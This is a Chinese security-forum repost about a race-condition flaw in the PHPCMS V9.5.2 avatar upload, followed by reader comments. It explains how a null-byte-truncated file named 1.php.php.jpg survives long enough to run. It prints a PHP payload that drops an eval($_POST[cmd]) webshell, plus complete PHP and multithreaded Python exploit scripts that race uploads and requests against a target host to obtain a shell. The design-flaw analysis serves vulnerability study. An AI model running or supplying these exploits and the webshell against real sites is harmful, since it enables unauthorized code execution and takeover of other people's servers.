PHPCMS前台设计缺陷导致任意代码执行【思路详情】
作者在t00ls发过,地址是:https://www.t00ls.com/thread-25658-1-1.html,但是只是Exp;乌云这有个完整版,转来给大家看看。
我们要学习的不仅是技术,还有思路。
#1 前言
猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…
#2 叼着炸药包的猛兽来了
请先看下面这段代码这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看上述代码即存在本文所讲的设计缺陷可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...
但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....
#3 PHPCMS案例
PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码
/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数大概意思是解压ZIP文件,再删除非jpg文件,目录等(看见了吧,产生了#2所述的设计缺陷,典型的引狼入室,再杀之的设计理念),但由于在此处出现过上传漏洞,增加了这么一行代码:只允许jpg格式文件,不允许php后缀的文件,这为我们下面的漏洞利用带来了不少的麻烦,但别急,后面我会讲到突破的方法...
#4 突破限制产生php临时文件
虽然代码限制了只能是jpg格式的文件,但我们的文件名可以是1.php.php.jpg 对吧,
想到什么没有呢?对!采用文件名截断...行动吧
(为了方便调试,我们加入如下代码,即在解压zip文件后,删除非jpg文件前中断代码的执行)结果,成功在目录下生成了1.php文件
#5 漏洞利用poc
只要有php文件生成那就好办了,poc构想如下:
正常情况:
上传头像-->生成临时文件(1.php)-->删除非jpg文件
我们想要的情况:
上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功
1.php.php.jpg文件的内容为:同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:
当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...
于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...
我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...#6 Exp利用代码
为了方便利用,最后我用py写了最终的EXP,代码如下#7 Exp跑起来效果如下所示
我们要学习的不仅是技术,还有思路。
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.
但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.
#1 前言
猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…
#2 叼着炸药包的猛兽来了
请先看下面这段代码
<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
//...
unlink($_GET['dst']);
//...
}
?>
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)
copy($_GET['src'],$_GET['dst']);
但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....
#3 PHPCMS案例
PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码
/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数
public function uploadavatar() {
//根据用户id创建文件夹
if(isset($this->data['uid']) && isset($this->data['avatardata'])) {
$this->uid = $this->data['uid'];
$this->avatardata = $this->data['avatardata'];
} else {
exit('0');
}
$dir1 = ceil($this->uid / 10000);
$dir2 = ceil($this->uid % 10000 / 1000);
//创建图片存储文件夹
$avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
if(!file_exists($dir)) {
mkdir($dir, 0777, true);
}
//存储flashpost图片
$filename = $dir.$this->uid.'.zip';
file_put_contents($filename, $this->avatardata);
pc_base::load_sys_func('dir');
//解压缩文件
pc_base::load_app_class('pclzip', 'phpsso', 0);
$archive = new PclZip($filename);
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);
//判断文件安全,删除压缩包和非jpg图片
$avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
$files = glob($dir."*");
foreach($files as $_files) {
if(is_dir($_files)) dir_delete($_files);
if(!in_array(basename($_files), $avatararr)) @unlink($_files);
}
if($handle = opendir($dir)) {
while(false !== ($file = readdir($handle))) {
if($file !== '.' && $file !== '..') {
if(!in_array($file, $avatararr)) {
@unlink($dir.$file);
} else {
$info = @getimagesize($dir.$file);
if(!$info || $info[2] !=2) {
@unlink($dir.$file);
}
}
}
}
closedir($handle);
}
$this->db->update(array('avatar'=>1), array('uid'=>$this->uid));
exit('1');
}
$archive->allow_ext = array('jpg');
#4 突破限制产生php临时文件
虽然代码限制了只能是jpg格式的文件,但我们的文件名可以是1.php.php.jpg 对吧,
想到什么没有呢?对!采用文件名截断...行动吧
(为了方便调试,我们加入如下代码,即在解压zip文件后,删除非jpg文件前中断代码的执行)
$archive = new PclZip($filename);
exit('zanting....');//我们添加的调试代码
$archive->allow_ext = array('jpg');
$list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);
#5 漏洞利用poc
只要有php文件生成那就好办了,poc构想如下:
正常情况:
上传头像-->生成临时文件(1.php)-->删除非jpg文件
我们想要的情况:
上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功
1.php.php.jpg文件的内容为:
<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...
于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...
我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...
<?php
/**
* Created by felixk3y
* Date: 14-01-10
* Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...
* Blog: [url]http://weibo.com/rootsafe[/url]
*/
error_reporting(7);
if($argc<2){
print "\n\tUsage:exp.php [url]www.vulns.org[/url]\n";
exit();
}
$num = 0;
$loop = 0;
$host = $argv[1];
$posts = post();
$shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址
$tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除
//先访问临时数据包
while(++$loop<6){
echo "正在进行第".$loop."轮尝试...\n";
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
while(++$num<51){
echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件...\n";
send_http($host,$posts);//正常提交数据包
//if($num%2==0){
_get($host,$tmpfile);
//}
}
$num = 0;
while(++$num<11){
echo "正在进行第".$num."次尝试访问临时文件...\n";
_get($host,$tmpfile);
}
$num = 0;
}
$res = _get($host,$shell);
if(preg_match('/200 OK/',$res)) {
echo "--->Success!\n\n";
}else{
echo "------->Failed!\n\n";
}
function post(){
$asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php
$repstr = "php".$asc."php";
$data = "";
$fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包
while(!feof($fp)){
$data .=fgets($fp);
}
$data = preg_replace('/php\.php/i',$repstr,$data);
return $data;
}
function hex2asc($str){//进制间转换
$str = join('',explode('\x',$str));
$len = strlen($str);
for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function _get($host,$path){ //http get方法
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: ".$host."\r\n";
$headers .= "Connection: close\r\n\r\n";
$fp = @fsockopen($host,80);
fputs($fp, $headers);
$resp = '';
while (!feof($fp)){
$resp .= fgets($fp, 2048);
}
return $resp;
}
function send_http($host,$post)
{
$data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1\r\n";
$data .= "Host: [url]www.vulns.org[/url]\r\n";
$data .= "User-Agent: Googlebot/2.1 (+[url]http://www.google.com/bot.html[/url])\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Accept-Encoding: gzip, deflate\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Length: " . strlen($post) . "\r\n\r\n";
$data .= $post . "\r\n";
//echo $data;
$fp = @fsockopen($host,80,$errno,$errstr,30);
if(!$fp){
echo $errno.'-->'.$errstr."\n";
exit('Could not connect to: '.$host);
}else{
fputs($fp, $data);
$back = '';
while(!feof($fp)){
$back .= fgets($fp, 2048);
}
fclose($fp);
}
return $back;
}
?>
为了方便利用,最后我用py写了最终的EXP,代码如下
#coding=GB2312
#Date: 2014-01-11 23:50
#Created by felixk3y
#Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...
#Blog: [url]http://weibo.com/rootsafe[/url]
import os
import sys
import socket
import urllib
import urllib2
import threading
import msvcrt
# postu: 文件上传post的URL
# shell: 最终生成shell的URL
# tmpfile: 文件上传生成的临时文件URL
# postu & shell & tmpfile 这三个参数根据具体情况更改
postu = '/install_package/phpsso_server/index.php'
shell = '/install_package/phpsso_server/uploadfile/shell.php'
tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'
class upload(threading.Thread):
def __init__(self,num,loop,host,header,tmpfile,shell):
threading.Thread.__init__(self)
self.num = num
self.loop = loop
self.host = host
self.header = header
self.shell = '%s%s' % (host,shell)
self.tmpfile = '%s%s' % (host,tmpfile)
def run(self):
while True:
print '正在进行第%d轮尝试...\n' % self.loop
while(self.num<3):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num
self.send_socket(self.host,self.header)
self._get(self.tmpfile)
self.num += 1
self.num = 1
while(self.num<11):
print '正在进行第%d次尝试访问临时文件...' % self.num
self._get(self.tmpfile)
self.num += 1
self.loop += 1
self.num = 1
def _get(self,tmpfile):
try:
response = urllib2.urlopen(tmpfile)
if response.getcode() == 200:
print '\nSuccess!\nShell: %s\nPass is [1@3].' % self.shell
os._exit(1)
except urllib2.HTTPError,e:
pass
def send_socket(self,host,headers):
if 'http://' in host:
host = host.split('/')[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 80))
sock.send(headers)
sock.close()
class ThreadStop(threading.Thread):
def run(self):
try:
chr = msvcrt.getch()
if chr == 'q':
print "stopped by your action( q )."
os._exit(1)
except:
os._exit(1)
def usage():
print '\n\tUsage: upload.py <url> '
print '\n\tExp: upload.py [url]www.vulns.org[/url]'
os._exit(0)
def hex_to_asc(ch):
ch = int(float.fromhex(ch))
return '{:c}'.format(ch)
def post_data():
postdata = ''
asc = hex_to_asc('00')
repstr = 'php%sphp' % asc
fps = open('phpcms.zip','rb')
for sbin in fps.readlines():
postdata += sbin
postdata = postdata.replace('php.php',repstr)
return postdata
def exploit():
num = 1
loop = 1
threads = []
host = sys.argv[1]
cookie = sys.argv[2]
if 'http://' not in host:
host = 'http://%s' % host
postdata = post_data()
mhost = host.split('/')[2]
dvalue = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'
params = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue
posturl = '%s?%s' % (postu,params)
header = 'POST %s HTTP/1.1\r\n' % posturl
header += 'Host: %s\r\n' % mhost
header += 'User-Agent: Googlebot/2.1 (+[url]http://www.google.com/bot.html[/url])\r\n'
header += 'Content-Type: application/octet-stream\r\n'
header += 'Accept-Encoding: gzip,deflate,sdch\r\n'
header += 'Content-Length: %d\r\n' % len(postdata)
header += 'Cookie: %s\r\n\r\n%s\r\n' % (cookie,postdata)
shouhu = ThreadStop()
shouhu.setDaemon(True)
shouhu.start()
for i in range(10):#线程数不能小了
t = upload(num,loop,host,header,tmpfile,shell)
t.start()
threads.append(t)
for th in threads:
t.join()
if __name__ == "__main__":
if len(sys.argv) < 2:
usage()
else:
exploit()
phpcms_exp.py www.vulns.org cookie值
评论22次
感谢分析,学xi大马审计中
不错,学xi了
哎呀,大漏洞啊。
不错,不错,味道好极了
这个漏洞很有意思,这个比速度么
楼主自己思考过就OK了。这漏洞还有个现在利用不了吧
函数漏洞,现在少了很多,逻辑性慢慢受到大家重视了
这个思路屡试不爽,曾经就是通过这个思路挖了一个thinksns的洞~~
思路不错 学xi了~~
老早就想看了。可惜没权限啊
之前看到发的是PHPCMS通杀的版 实测phpCMS2008的无效
这个可以有。。。
时间竞争方法见的比较多了
我是新手,php还好,python没学过,有必要学xi吗? 求问:php可以直接跨过win的hosts文件将你的包发送到对应ip,就是发出的域名不是对应ip的域名。
多整点wy的资料过来,鼓励
这个漏洞好像似曾相识
这不叫什么思路呀 简单的说就是一个逻辑性处理不当造成的 时间竞争制缓存执行漏洞 再一步说就是漏洞修复不当╮(╯▽╰)╭这里也不是第一次出现问题了 假如缓存都放到一个内部的缓存下根本不会有这样的问题
我看到的是在360被所谓的白帽子刷了好多 。开头那个就可以绕过,
只是觉得挺逗的,哈哈哈,在删除之前拼命的访问来新生成~!!
我记得这个刚出来的时候在土司就发过了吧。。